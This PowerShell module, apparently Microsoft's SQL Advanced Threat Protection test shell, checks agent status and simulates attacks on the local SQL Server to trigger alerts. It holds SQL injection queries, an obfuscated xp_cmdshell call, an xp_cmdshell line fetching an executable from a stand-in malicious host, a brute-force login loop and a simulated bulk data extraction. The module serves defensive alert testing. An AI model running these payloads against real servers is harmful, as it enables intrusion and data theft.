azure_arc_servers_jumpstart/artifacts/SqlAdvancedThreatProtectionShell.psm1 (1,052 lines of code) (raw):
#Requires -Version 5
Function LogInfo([string]$message)
{
Write-Host ("[Info ] $message" -Replace "`n\s*","`n ")
}
Function LogOk([string]$message)
{
Write-Host ("[Ok ] $message" -Replace "`n\s*","`n ") -ForegroundColor Green
}
Function LogWarning([string]$warningMsg)
{
Write-Host ("[Warning ] $warningMsg" -Replace "`n\s*","`n ") -ForegroundColor Yellow
}
Function LogError([string]$errorMsg)
{
Write-Host ("[Error ] $errorMsg" -Replace "`n\s*","`n ") -ForegroundColor Red
}
Function Get-SqlInstances([bool]$isRunningOnly)
{
if ($isRunningOnly)
{
$runningCondition = "AND State = 'Running'"
}
else
{
$runningCondition = ""
}
$sqlInstances = Get-CimInstance -Query "SELECT Name, DisplayName, StartName, ProcessId, SystemName, PathName FROM Win32_Service WHERE (Name = 'MSSQLSERVER' OR Name LIKE 'MSSQL$%') AND DisplayName LIKE 'SQL Server (%' $($runningCondition)"
return $sqlInstances | Select-Object -Property Name, DisplayName ,ProcessId, @{l="Version"; e={ForEach-Object {if ($_.PathName -match "MSSQL(\d\d)\..*\\MSSQL") { [int]$Matches[1]}}}}, @{l="InstanceName"; e={ForEach-Object{ $splitted = $_.Name -Split "\$"; if ($splitted.Count -eq 1) { if($splitted[0] -match "MSSQLSERVER") {$null} else {$splitted[0]} } else { "$($Env:COMPUTERNAME)\$($splitted[1])" }}}}
}
Function Test-Key([string]$path, [string]$key)
{
if (!(Test-Path $path)) { return $false }
if ($null -eq (Get-ItemProperty $path).$key) { return $false }
return $true
}
Function Test-OMSAgentInstalled
{
LogInfo "Checking if OMS Agent is installed..."
if ((Test-Key "HKLM:\SOFTWARE\Microsoft\System Center Operations Manager\12\Setup\Agent" "InstallDirectory"))
{
$agentVersion = ((Get-Item $Env:ProgramFiles"\Microsoft Monitoring Agent\Agent\HealthService.exe").VersionInfo)
if ($agentVersion.FileVersion -lt $minimumAgentVersion)
{
LogWarning "OMS Agent version is: $($agentVersion.FileVersion). Minimum recommended version is $($minimumAgentVersion)"
return
}
LogOk "OMS Agent is installed."
}
else
{
LogError "OMS Agent is not installed on the machine."
}
}
Function Test-OmsAgentRunning
{
$healthService = Get-Service -Name "HealthService"
if($healthService.Status -ne "Running")
{
LogError "OMS agent (HealthService) is not running (Status: $($healthService.Status)).
Start the service with the powershell command: Start-Service -Name 'healthservice'"
}
LogOk "OMS agent (HealthService) status: $($healthService.Status)"
}
Function Test-SqlRestartMessageExist($instanceName)
{
LogInfo "Checking for restart message for instance '$instanceName'."
$restartInstanceLog = Get-WinEvent -LogName 'Operations Manager' | Where-Object { $_.TimeCreated -ge $timeWindowToCheckLogs } | Where-Object { $_.LevelDisplayName -eq "Error" } | Where-Object { $_.EventID -eq 4502 } | Where-Object { $_.Message.Contains($instanceName) }
if ($null -ne $restartInstanceLog -and $restartInstanceLog.Length -ne 0)
{
# Test if there was a restart of the instance since the restart request
$lastRestartLogEvent = $restartInstanceLog | Sort-Object -Property TimeGenerated -Descending | Select-Object -First 1
if((Test-SqlServerReadyForClientConnections $instanceName $lastRestartLogEvent.TimeGenerated) -eq $false)
{
LogError "Restart request message for instance '$instanceName' exists.
Restart the service with the powershell command: Restart-Service -Name '$instanceName'"
$lastRestartLogEvent
return $false
}
}
LogOk "Server instance $instanceName - No restart needed."
return $true
}
Function Test-SqlServerReadyForClientConnections($instanceName, $timeToStartSearch)
{
LogInfo "Checking for SQL Server restart since $timeToStartSearch" # message for instance '$instanceName'."
$readyForConnectionLog = Get-WinEvent -LogName 'Application' | Where-Object { $_.TimeCreated -ge $timeToStartSearch } | Where-Object { $_.ProviderName -eq $instanceName } | Where-Object { $_.EventID -eq 17126 } | Where-Object { $_.Message.Contains('SQL Server is now ready for client connections') }
if ($readyForConnectionLog.Length -eq 0)
{
return $false
}
$lastRestart = $readyForConnectionLog | Sort-Object -Property TimeGenerated -Descending | Select-Object -First 1
LogInfo "Server instance '$instanceName' was restarted at $($lastRestart.TimeGenerated)"
return $true
}
Function Test-OmsAgentRestartedLately
{
LogInfo "Checking if OMS agent is initialized since $($timeWindowToCheckLogs)."
$restartInstanceLog = Get-WinEvent -LogName 'Operations Manager' | Where-Object { $_.LevelDisplayName -eq "Information" } | Where-Object { $_.TimeCreated -ge $timeWindowToCheckLogs } | Where-Object { $_.EventID -eq 10113 } | Where-Object { $_.Message.Contains('Taking a New Global Snapshot.') }
if ($restartInstanceLog.Length -ne 0)
{
$logEntry = $restartInstanceLog | Sort-Object -Property TimeGenerated | Select-Object -First 1
LogInfo "OMS agent was last initialized at $($logEntry[0].TimeGenerated)."
return
}
LogOk "OMS agent initialization ok."
}
Function LogErrorLoginWithSolutionInstallRequest($serverInstanceName, $displayName, $solutionName)
{
LogError "Did not find a successfull login/run for $displayName from SQL ATP.
Make sure this machine is connected to a workspace which contains the solution '$solutionName'
To add the solution to the workspace add 'Sql Advanced Data Security' from the marketplace
If this machine is newlly created, newly connected to a workspace or '$solutionName' solution was recently added to the workspace:
Please wait 30 minutes and run the script again."
}
Function Test-SqlAdvancedThreatProtectionLoginSuccess($serverInstanceName, $displayName, $isValidateByAppName)
{
$appName = "SQL Advanced Threat Protection"
if ($isValidateByAppName)
{
$appNameCheck = ".*^application_name:$($appName)$"
$serverPrincipalCheck = ""
}
else
{
$appNameCheck = ""
$serverPrincipalCheck = "^server_principal_name:NT AUTHORITY\\SYSTEM$.*"
}
$solutionName = "SQLAdvancedThreatProtection"
LogInfo "Checking logs for successfull '$appName' login for InstanceName: $displayName"
$logEntries = Get-WinEvent -LogName 'Security' | Where-Object { $_.TimeCreated -ge $timeWindowToCheckLogs } | Where-Object { $_.EventID -eq 33205 }`
| Where-Object { $_.Source -match 'MSSQL' }`
| Where-Object { $_.EntryType -eq [System.Diagnostics.EventLogEntryType]::SuccessAudit }`
| Where-Object { $_.Message -match "(?smi)$($serverPrincipalCheck)^server_instance_name:$($serverInstanceName.Replace('\', '\\'))$" + $appNameCheck }`
| Sort-Object -Property TimeGenerated -Descending
if($logEntries.Length -eq 0)
{
LogErrorLoginWithSolutionInstallRequest $serverInstanceName $displayName $solutionName
return $false
}
$lastLoginTime = $logEntries | Select-Object -First 1
LogOk "$appName successfully logged in to $displayName at $($lastLoginTime.TimeGenerated)"
return $true
}
Function Test-SqlAdvancedDataSecuritySolutionsOk($instanceName, $isValidateByAppName)
{
$serverInstanceName = $instanceName
$displayName = $instanceName
if ([string]::IsNullOrWhiteSpace($instanceName))
{
$serverInstanceName = $Env:COMPUTERNAME
$displayName = "MSSQLSERVER (default)"
}
LogInfo "Checking logs for 'SQL Advanced Data Security' status for InstanceName: $displayName"
$sqlAtpOk = Test-SqlAdvancedThreatProtectionLoginSuccess $serverInstanceName $displayName $isValidateByAppName
return $sqlAtpOk
}
Function Test-SqlInstancesThreatDetectionStatus
{
$sqlInstances = Get-SqlInstances $true
$res = $true
foreach ($sqlInstance in $sqlInstances)
{
LogInfo "Testing Sql Server - Service Name: $($sqlInstance.Name), Display Name: $($sqlInstance.DisplayName), Instance Name: $($sqlInstance.InstanceName), Version: $($sqlInstance.Version)"
if ($sqlInstance.Version -ge 15)
{
LogOk "SQL Server ($($sqlInstance.Version)) does not require restart for SQL ATP"
continue
}
$res = (Test-SqlRestartMessageExist $sqlInstance.Name) -and $res
$isByAppName = $sqlInstance.Version -eq 14
$res = (Test-SqlAdvancedDataSecuritySolutionsOk $sqlInstance.InstanceName $isByAppName) -and $res
}
return $res
}
Function Get-SqlAtpManagementPackVersion
{
<#
.SYNOPSIS
Gets the management pack version available on the machine.
#>
$managementPacksPath = Get-MonitoringAgentManagementPacksPath
if (-not $managementPacksPath){
return
}
$sqlQueryProtectionMPFile = Get-ChildItem $managementPacksPath | Where-Object {$_.Name -match 'Microsoft.IntelligencePacks.SqlQueryProtection'}
$sqlQueryProtectionMPXmlContent = [xml](Get-Content $sqlQueryProtectionMPFile.FullName -Encoding Unicode)
$sqlQueryProtectionMPXmlContent.ManagementPack.Manifest.Identity.Version
}
Function Get-MonitoringAgentManagementPacksPath
{
<#
.SYNOPSIS
Gets the Microsoft Monitoring Agent Management packs Folder Path.
#>
$healthServiceStatePath = Split-Path (Split-Path $PSScriptRoot -Parent) -Parent
if ((Split-Path $healthServiceStatePath -Leaf) -ne 'Health Service State'){
LogError "Module SqlAdvancedThreatProtectionShell.psm1 needs to be imported from its home directory."
return $false
}
return $healthServiceStatePath + "\Management Packs"
}
Function Get-SqlAtpMonitoringAgentAndWorkspaceId
{
<#
.SYNOPSIS
Gets the Microsoft Monitoring Agent workspace and agent IDs.
#>
$monitoringAgentComObject = New-Object -ComObject 'AgentConfigManager.mgmtsvccfg'
$cloudWorkspaces = $monitoringAgentComObject.GetCloudWorkspaces()
if ($cloudWorkspaces -eq $null)
{
LogError "To run this command, please use elevated prompt."
return;
}
$workspaceIdPSObjectProperties = ($cloudWorkspaces | Select-Object -Property workspaceId).PSObject.Properties
$agentIdPSObjectProperties = ($cloudWorkspaces | Select-Object -Property AgentId).PSObject.Properties
LogInfo "$($workspaceIdPSObjectProperties.Name): $($workspaceIdPSObjectProperties.Value)"
LogInfo "$($agentIdPSObjectProperties.Name): $($agentIdPSObjectProperties.Value)"
}
Function Get-SqlAtpServerInstancesVersions
{
<#
.SYNOPSIS
Gets the Microsoft Sql Server instances versions that are installed on the machine.
#>
$installedInstances = Get-SqlInstances $false
foreach ($sqlInstance in $installedInstances)
{
LogInfo "Instance: $($sqlInstance.Name), $($sqlInstance.Version)"
}
}
Function Start-SqlAtpEtwTracing
{
<#
.SYNOPSIS
Starts ETW tracing on the machine.
#>
$EtwTracing = & 'logman' -ets | Where-Object { $_ -match 'TracingGuidsManaged' }
if ($null -ne $EtwTracing){
& 'logman' update trace TracingGuidsManaged -ets -p '{36cd7b6e-631a-42e1-a3c0-d436ac41bc61}' 0 0x4 | Out-Null
}
else {
$AgentPath = Split-Path (Split-Path (Split-Path $PSScriptRoot -Parent) -Parent) -Parent
& $AgentPath"\Tools\StartTracing.cmd" INF | Out-Null
}
LogOk "Logs have started collecting at: %WINDIR%\Logs\OpsMgrTrace\TracingGuidsManaged.etl"
}
Function Stop-SqlAtpEtwTracing
{
<#
.SYNOPSIS
Stops ETW tracing on the machine.
#>
$AgentPath = Split-Path (Split-Path (Split-Path $PSScriptRoot -Parent) -Parent) -Parent
& $AgentPath"\Tools\StopTracing.cmd" | Out-Null
$EtwTracing = & 'logman' -ets | Where-Object { $_ -match 'TracingGuidsManaged' }
if ($null -eq $EtwTracing){
LogOk "Traces have stopped collecting." -ForegroundColor
}
else {
LogError "Traces have not been stopped, try rerunning the command."
}
}
Function Test-SqlAtpInjection(
[Parameter(Mandatory=$false)]
[string]$InstanceName,
[Parameter(Mandatory=$false)]
[string]$Port,
[Parameter(Mandatory=$true)]
[string]$UserName,
[Parameter(Mandatory=$true)]
[securestring]$Password )
{
<#
.SYNOPSIS
Simulates an SQL injection.
.Parameter InstanceName
Provide the non default instance to connect to.
.Parameter Port
Provide a non default port to connect to.
#>
$server = $env:COMPUTERNAME
if (![String]::IsNullOrEmpty($InstanceName))
{
$server += "\$InstanceName"
}
if (![String]::IsNullOrEmpty($Port))
{
$server += ",$Port"
}
$remark = New-Guid
$connectionString = "Server = $server;application name=SqliTestApp";
$Password.MakeReadOnly();
$sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password;
try
{
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString;
$sqlConnection.Credential = $sqlCredential;
$sqlCommand = New-Object System.Data.SqlClient.SqlCommand "SELECT * FROM sys.databases WHERE database_id like '1' OR 1=1 -- $($remark)'", $sqlConnection;
$sqlConnection.Open();
$sqlCommand.ExecuteReader() | Out-Null;
}
finally
{
$sqlConnection.Dispose();
}
try
{
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString;
$sqlConnection.Credential = $sqlCredential;
$sqlCommand = New-Object System.Data.SqlClient.SqlCommand "select * from sys.databases where database_id like 'l%' --$($remark)123", $sqlConnection;
$sqlConnection.Open();
$sqlCommand.ExecuteReader() | Out-Null;
}
finally
{
$sqlConnection.Dispose();
}
try
{
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString;
$sqlConnection.Credential = $sqlCredential;
$sqlCommand = New-Object System.Data.SqlClient.SqlCommand "select * from sys.databases where database_id like ''' --$($remark)123", $sqlConnection;
$sqlConnection.Open();
$sqlCommand.ExecuteReader() | Out-Null;
}
catch
{
if ($_.Exception.InnerException.Number -eq 105)
{
LogOk "Successfully tested sql injection on $server"
}
else
{
LogError "Failed to test sql injection. Error $($_.Exception.InnerException.Number)"
}
}
finally
{
$sqlConnection.Dispose();
}
}
Function Test-SqlAtpShellObfuscation(
[Parameter(Mandatory=$false)]
[string]$InstanceName,
[Parameter(Mandatory=$false)]
[string]$Port,
[Parameter(Mandatory=$true)]
[string]$UserName,
[Parameter(Mandatory=$true)]
[securestring]$Password )
{
<#
.SYNOPSIS
Simulates a shell command (xp_cmdshell) obfuscation.
.Parameter InstanceName
Provide the non default instance to connect to.
.Parameter Port
Provide a non default port to connect to.
#>
$server = $env:COMPUTERNAME
if (![String]::IsNullOrEmpty($InstanceName))
{
$server += "\$InstanceName"
}
if (![String]::IsNullOrEmpty($Port))
{
$server += ",$Port"
}
$remark = New-Guid
$connectionString = "Server = $server;application name=ShellObfuscationTestApp";
$Password.MakeReadOnly();
try
{
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString;
$sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password;
$sqlConnection.Credential = $sqlCredential;
$sqlCommand = New-Object System.Data.SqlClient.SqlCommand "DECLARE @cmd as varchar(3000);SET @cmd = 'x'+'p'+'_'+'c'+'m'+'d'+'s'+'h'+'e'+'l'+'l'+' ' + 'd'+'i'+'r';exec(@cmd); -- $($remark)", $sqlConnection;
$sqlConnection.Open();
$sqlCommand.ExecuteReader() | Out-Null;
LogOk "Successfully simulated shell obfuscation on $server"
}
catch
{
if ($_.Exception.InnerException.Number -eq 15281)
{
LogOk "Successfully simulated shell obfuscation on $server that was disabled on the server"
}
else
{
LogError "Failed to simulate shell obfuscation. Error $($_.Exception.InnerException.Number)"
}
}
finally
{
$sqlConnection.Dispose();
}
}
Function Test-SqlAtpShellExternalSourceAnomaly(
[Parameter(Mandatory=$false)]
[string]$InstanceName,
[Parameter(Mandatory=$false)]
[string]$Port,
[Parameter(Mandatory=$true)]
[string]$UserName,
[Parameter(Mandatory=$true)]
[securestring]$Password )
{
<#
.SYNOPSIS
Simulates a shell external source anomaly by trying to reach an external source using a shell command.
.Parameter InstanceName
Provide the non default instance to connect to.
.Parameter Port
Provide a non default port to connect to.
#>
$server = $env:COMPUTERNAME
if (![String]::IsNullOrEmpty($InstanceName))
{
$server += "\$InstanceName"
}
if (![String]::IsNullOrEmpty($Port))
{
$server += ",$Port"
}
$remark = New-Guid
$connectionString = "Server = $server;application name=ShellExternalSourceTestApp";
$Password.MakeReadOnly();
try
{
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString;
$sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password;
$sqlConnection.Credential = $sqlCredential;
$sqlCommand = New-Object System.Data.SqlClient.SqlCommand "EXEC xp_cmdshell 'hTtP://malicious.external.$($remark).source:443/executable.exe'", $sqlConnection;
$sqlConnection.Open();
$sqlCommand.ExecuteReader() | Out-Null;
LogOk "Successfully simulated shell external source anomaly on $server"
}
catch
{
if ($_.Exception.InnerException.Number -eq 15281)
{
LogOk "Successfully simulated shell external source anomaly on $server that was disabled on the server"
}
else
{
LogError "Failed to simulate shell external source. Error $($_.Exception.InnerException.Number)"
}
}
finally
{
$sqlConnection.Dispose();
}
}
Function Test-SqlAtpBruteForce(
[Parameter(Mandatory=$false)]
[string]$InstanceName,
[Parameter(Mandatory=$false)]
[string]$Port,
[Parameter(Mandatory=$false)]
[string]$UserName,
[Parameter(Mandatory=$false)]
[int]$AttemptCount=100,
[Parameter(Mandatory=$false)]
[securestring]$Password)
{
<#
.SYNOPSIS
Simulates a brute-force attack.
.Parameter InstanceName
Provide the non default instance to connect to.
.Parameter Port
Provide a non default port to connect to.
.Parameter UserName
Supply a username to iterate different passwords. If not supplied, iterate different users.
.Parameter Password
Supply a password to finish with a successful breach.
#>
$server = $env:COMPUTERNAME
if (![String]::IsNullOrEmpty($InstanceName))
{
$server += "\$InstanceName"
}
if (![String]::IsNullOrEmpty($Port))
{
$server += ",$Port"
}
$applicationName = "brute_force_42146f8735244eccab8c6739ec399821"
if ([String]::IsNullOrEmpty($UserName))
{
for ($i = 0; $i -lt $AttemptCount; $i++)
{
LogInfo "Failed Login on different users to $server"
try
{
$SqlConnection = New-Object System.Data.SqlClient.SqlConnection "Server = $server; User ID=user$i; Password=''; Connect Timeout=5; application name=$applicationName"
$SqlConnection.Open();
}
catch
{
if ($_.Exception.InnerException.Number -eq 18456)
{
LogInfo "Login $i failed, retrying.."
continue
}
else
{
LogError "Failed to test bruteforce. Error $($_.Exception.InnerException.Number)"
return
}
}
}
}
else
{
LogInfo "attempting to brute-force on password to $server"
for ($i = 0; $i -lt $AttemptCount; $i++)
{
LogInfo "Failed Login on different passwords: Attempt $i"
try
{
$SqlConnection = New-Object System.Data.SqlClient.SqlConnection "Server = $server; User ID=$UserName; Password=$i; Connect Timeout=5; application name=$applicationName"
$SqlConnection.Open();
}
catch
{
if ($_.Exception.InnerException.Number -eq 18456)
{
LogInfo "Login failed, retrying.."
continue
}
else
{
LogError "Failed to test bruteforce. Error $($_.Exception.InnerException.Number)"
return
}
}
}
if ($Password -ne $null)
{
LogInfo "Login attempt on correct password to $server"
$Password.MakeReadOnly();
try
{
$SqlConnection = New-Object System.Data.SqlClient.SqlConnection "Server = $server; Connect Timeout=5; application name=$applicationName"
$sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password;
$sqlConnection.Credential = $sqlCredential;
$SqlConnection.Open();
LogInfo "Login attempt on correct password succeeded"
}
catch
{
LogError "Failed to test succesful bruteforce. Error $($_.Exception.InnerException.Number)"
return
}
}
}
LogOk "Successfully tested brute force on $server"
}
Function Test-SqlAtpLoginSuspiciousApp(
[Parameter(Mandatory=$false)]
[string]$InstanceName,
[Parameter(Mandatory=$false)]
[string]$Port,
[Parameter(Mandatory=$true)]
[string]$UserName,
[Parameter(Mandatory=$false)]
[securestring]$Password )
{
<#
.SYNOPSIS
Simulates a Login by a suspicious application.
.Parameter InstanceName
Provide the non default instance to connect to.
.Parameter Port
Provide a non default port to connect to.
.Parameter UserName
Provide the principal name to use in the connection.
.Parameter Password
Provide the password of the principal to use in the connection.
#>
$server = $env:COMPUTERNAME
if (![String]::IsNullOrEmpty($InstanceName))
{
$server += "\$InstanceName"
}
if (![String]::IsNullOrEmpty($Port))
{
$server += ",$Port"
}
$remark = New-Guid
$applicationName = 'NetSparker'
if ($Password -ne $null)
{
$Password.MakeReadOnly();
$connectionString = "Server = $server;application name=$applicationName";
$sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password;
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString;
$sqlConnection.Credential = $sqlCredential;
}
else
{
$connectionString = "Server = $server;User ID=$UserName;Password='';Connect Timeout=5;application name=$applicationName"
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString;
}
try
{
$sqlConnection.Open();
LogOk "Successfully simulated login from a suspicious app on $server"
}
catch
{
if ($_.Exception.InnerException.Number -eq 18456)
{
LogOk "Successfully simulated login from a suspicious app on $server."
}
else
{
LogError "Failed to simulate login from a suspicious app. Error $($_.Exception.InnerException.Number)"
}
}
finally
{
$sqlConnection.Dispose();
}
}
Function Test-DataExfiltration(
[Parameter(Mandatory=$false)]
[string]$InstanceName,
[Parameter(Mandatory=$false)]
[string]$Port,
[Parameter(Mandatory=$false)]
[string]$UserName,
[Parameter(Mandatory=$false)]
[securestring]$Password)
{
<#
.SYNOPSIS
Simulates an anomalous data exfiltration.
.Parameter InstanceName
Provide the non default instance to connect to.
.Parameter Port
Provide a non default port to connect to.
.Parameter UserName
Supply a username to use for logging in using SQL Server authentication. If not supplied, use Windows authentication.
.Parameter Password
Supply a password to use for logging in using SQL Server authentication. If not supplied, use Windows authentication.
#>
$server = $env:COMPUTERNAME
if (![String]::IsNullOrEmpty($InstanceName))
{
$server += "\$InstanceName"
}
if (![String]::IsNullOrEmpty($Port))
{
$server += ",$Port"
}
try
{
$connectionString = "Server = $server; application name=data_exfiltration_59d9007ba9b54ade9f60ba8af55355ea;";
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString;
if (![String]::IsNullOrEmpty($UserName) -and ![String]::IsNullOrEmpty($Password))
{
$sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password;
$sqlConnection.Credential = $sqlCredential;
LogInfo "Trying to log in using SQL credentials, with user name: $UserName.";
}
else
{
$connectionString += " Integrated Security = true;"
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString;
LogInfo "Trying to log in using Windows authentication.";
}
$SqlConnection.Open();
LogInfo "Initializing temporary table for test, this may take a few minutes...";
$sqlCommand = New-Object System.Data.SqlClient.SqlCommand "CREATE TABLE #Information
(
name VARCHAR(50),
credit_card VARCHAR (50)
)", $sqlConnection;
$sqlCommand.ExecuteNonQuery() | Out-Null;
$tempGuid = New-Guid;
for($i=1; $i -le 1500; $i++)
{
$sqlCommand = New-Object System.Data.SqlClient.SqlCommand "INSERT INTO #Information (name, credit_card)
VALUES ('James Jones the $i th', '$i --$tempGuid')", $sqlConnection;
$sqlCommand.ExecuteNonQuery() | Out-Null;
Start-Sleep -Milliseconds 1;
}
LogInfo "Extracting data...";
for($i=1; $i -le 600; $i++)
{
$sqlCommand = New-Object System.Data.SqlClient.SqlCommand "SELECT TOP $i * FROM #Information --$tempGuid", $sqlConnection;
$sqlCommand.ExecuteNonQuery() | Out-Null;
}
$sqlCommand = New-Object System.Data.SqlClient.SqlCommand "SELECT * FROM #Information --$tempGuid", $sqlConnection;
$sqlCommand.ExecuteNonQuery() | Out-Null;
}
catch
{
LogError "Failed to test data exfiltration. Error $($_.Exception.InnerException.Number)"
return
}
finally
{
$sqlConnection.Dispose();
}
LogOk "Successfully tested data exfiltration on $server"
}
Function Test-SqlAtpPrincipalAnomaly(
[Parameter(Mandatory=$false)]
[string]$InstanceName,
[Parameter(Mandatory=$false)]
[string]$Port,
[Parameter(Mandatory=$true)]
[string]$UserName,
[Parameter(Mandatory=$false)]
[securestring]$Password )
{
<#
.SYNOPSIS
Simulates a Login by a principal that is considered an anomaly.
.Parameter InstanceName
Provide the non default instance to connect to.
.Parameter Port
Provide a non default port to connect to.
.Parameter UserName
Provide the principal name to use in the connection.
.Parameter Password
Provide the password of the principal to use in the connection.
#>
$server = $env:COMPUTERNAME
if (![String]::IsNullOrEmpty($InstanceName))
{
$server += "\$InstanceName"
}
if (![String]::IsNullOrEmpty($Port))
{
$server += ",$Port"
}
$applicationName = 'principal_anomaly_59d9007ba9b54ade9f60ba8af55355ea'
$Password.MakeReadOnly();
$connectionString = "Server = $server;application name=$applicationName";
$sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password;
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString;
$sqlConnection.Credential = $sqlCredential;
try
{
$sqlConnection.Open();
LogOk "Successfully simulated login on $server from a principal that will be considered an anomaly."
}
catch
{
LogError "Failed to simulate a principal anomaly login on $server."
}
finally
{
$sqlConnection.Dispose();
}
}
[Flags()]
enum EventLogLevel
{
None = 0
Alerts = 1
Logins = 2
Queries = 4
}
Function Set-SqlAtpEventLogLevel(
[Parameter(Mandatory)]
[ValidateNotNullOrEmpty()]
[EventLogLevel] $Level
)
{
$item = New-ItemProperty "HKLM:\SOFTWARE\Microsoft\AzureOperationalInsights\" -Name "SqlQueryProtection_EventLogWriteStatus" -PropertyType "DWord" -Force -Value $Level
if ($item)
{
LogOk "Successfully set event log level"
}
else
{
LogError "To run this command, please use elevated prompt."
}
}
Function Test-SqlAtpAgentStatus
{
<#
.SYNOPSIS
Test the status of OMS Agent that it is installed, running and if there was a recent restart.
#>
$timeWindowToCheckLogs = ([DateTimeOffset]::UtcNow - [TimeSpan]::FromHours(2)).LocalDateTime
$minimumAgentVersion = New-Object System.Version("10.20.18011.0")
Test-OMSAgentInstalled
Test-OmsAgentRunning
Test-OmsAgentRestartedLately
}
Function Test-SqlAtpInstancesStatus
{
<#
.SYNOPSIS
Test the ATP status of SQL Instances running on the machine by examining Windows Event Log
#>
$timeWindowToCheckLogs = ([DateTimeOffset]::UtcNow - [TimeSpan]::FromHours(2)).LocalDateTime
$result = Test-SqlInstancesThreatDetectionStatus
Write-Host
if($result -eq $false)
{
LogError "**************************************************************
**** Status tests Failed! ****
**** See error messages in log traces above ****
**************************************************************"
return
}
LogOk "**************************************************************
**** All tests results passed ****
**** SQL Advanced Threat Protection installed and running ****
**************************************************************"
}
# Exported functions
Export-ModuleMember -Function Get-SqlAtpManagementPackVersion
Export-ModuleMember -Function Get-SqlAtpMonitoringAgentAndWorkspaceId
Export-ModuleMember -Function Get-SqlAtpServerInstancesVersions
Export-ModuleMember -Function Start-SqlAtpEtwTracing
Export-ModuleMember -Function Stop-SqlAtpEtwTracing
Export-ModuleMember -Function Test-SqlAtpBruteForce
Export-ModuleMember -Function Test-DataExfiltration
Export-ModuleMember -Function Test-SqlAtpInjection
Export-ModuleMember -Function Test-SqlAtpShellObfuscation
Export-ModuleMember -Function Test-SqlAtpShellExternalSourceAnomaly
Export-ModuleMember -Function Test-SqlAtpLoginSuspiciousApp
Export-ModuleMember -Function Set-SqlAtpEventLogLevel
Export-ModuleMember -Function Test-SqlAtpAgentStatus
Export-ModuleMember -Function Test-SqlAtpInstancesStatus
Export-ModuleMember -Function Test-SqlAtpPrincipalAnomaly
LogInfo "For a list of available commands in the module run:
Get-Command -Module SqlAdvancedThreatProtectionShell"
# SIG # Begin signature block
# MIInwgYJKoZIhvcNAQcCoIInszCCJ68CAQExDzANBglghkgBZQMEAgEFADB5Bgor
# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG
# KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCIElDvNtsdWMgZ
# Ca96sfrvJweY5RW3++xaijbnx+V+iaCCDXYwggX0MIID3KADAgECAhMzAAADTrU8
# esGEb+srAAAAAANOMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD
# VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy
# b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p
# bmcgUENBIDIwMTEwHhcNMjMwMzE2MTg0MzI5WhcNMjQwMzE0MTg0MzI5WjB0MQsw
# CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u
# ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy
# b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
# AQDdCKiNI6IBFWuvJUmf6WdOJqZmIwYs5G7AJD5UbcL6tsC+EBPDbr36pFGo1bsU
# p53nRyFYnncoMg8FK0d8jLlw0lgexDDr7gicf2zOBFWqfv/nSLwzJFNP5W03DF/1
# 1oZ12rSFqGlm+O46cRjTDFBpMRCZZGddZlRBjivby0eI1VgTD1TvAdfBYQe82fhm
# WQkYR/lWmAK+vW/1+bO7jHaxXTNCxLIBW07F8PBjUcwFxxyfbe2mHB4h1L4U0Ofa
# +HX/aREQ7SqYZz59sXM2ySOfvYyIjnqSO80NGBaz5DvzIG88J0+BNhOu2jl6Dfcq
# jYQs1H/PMSQIK6E7lXDXSpXzAgMBAAGjggFzMIIBbzAfBgNVHSUEGDAWBgorBgEE
# AYI3TAgBBggrBgEFBQcDAzAdBgNVHQ4EFgQUnMc7Zn/ukKBsBiWkwdNfsN5pdwAw
# RQYDVR0RBD4wPKQ6MDgxHjAcBgNVBAsTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEW
# MBQGA1UEBRMNMjMwMDEyKzUwMDUxNjAfBgNVHSMEGDAWgBRIbmTlUAXTgqoXNzci
# tW2oynUClTBUBgNVHR8ETTBLMEmgR6BFhkNodHRwOi8vd3d3Lm1pY3Jvc29mdC5j
# b20vcGtpb3BzL2NybC9NaWNDb2RTaWdQQ0EyMDExXzIwMTEtMDctMDguY3JsMGEG
# CCsGAQUFBwEBBFUwUzBRBggrBgEFBQcwAoZFaHR0cDovL3d3dy5taWNyb3NvZnQu
# Y29tL3BraW9wcy9jZXJ0cy9NaWNDb2RTaWdQQ0EyMDExXzIwMTEtMDctMDguY3J0
# MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQELBQADggIBAD21v9pHoLdBSNlFAjmk
# mx4XxOZAPsVxxXbDyQv1+kGDe9XpgBnT1lXnx7JDpFMKBwAyIwdInmvhK9pGBa31
# TyeL3p7R2s0L8SABPPRJHAEk4NHpBXxHjm4TKjezAbSqqbgsy10Y7KApy+9UrKa2
# kGmsuASsk95PVm5vem7OmTs42vm0BJUU+JPQLg8Y/sdj3TtSfLYYZAaJwTAIgi7d
